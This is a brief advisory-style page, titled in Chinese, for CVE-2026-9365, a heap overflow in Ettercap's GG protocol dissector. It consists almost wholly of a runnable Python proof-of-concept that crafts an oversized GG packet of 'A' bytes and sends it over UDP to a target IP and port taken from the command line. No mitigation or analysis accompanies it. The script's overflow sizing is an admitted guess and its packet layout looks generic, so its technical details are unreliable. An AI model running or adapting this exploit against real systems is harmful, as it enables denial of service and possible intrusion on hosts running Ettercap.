CVE-2026-9365: Ettercap GG Dissector堆缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-9365 PoC - Ettercap GG Dissector Heap Buffer Overflow This PoC demonstrates sending a malformed GG protocol packet that triggers buffer overflow in Ettercap's GG Dissector. """ import socket import struct def create_malicious_gg_packet(): """ Create a malicious GG protocol packet that triggers heap overflow. The packet structure is based on GG protocol specification. """ # GG Protocol Header packet_type = 0x09 # GG_MSG_LIST # Craft payload that exceeds buffer bounds # The exact overflow size depends on buffer allocation overflow_size = 1024 # Payload larger than expected buffer malicious_payload = b'A' * overflow_size # GG packet structure gg_header = struct.pack('!I', packet_type) # Type gg_header += struct.pack('!I', len(malicious_payload)) # Length # Full packet packet = gg_header + malicious_payload return packet def send_exploit(target_ip, target_port=1555): """ Send the exploit packet to target running Ettercap. Default GG protocol port is 1555. """ packet = create_malicious_gg_packet() try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) sock.close() print(f"[+] Malicious packet sent to {target_ip}:{target_port}") print(f"[+] Packet size: {len(packet)} bytes") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 1555 send_exploit(target, port)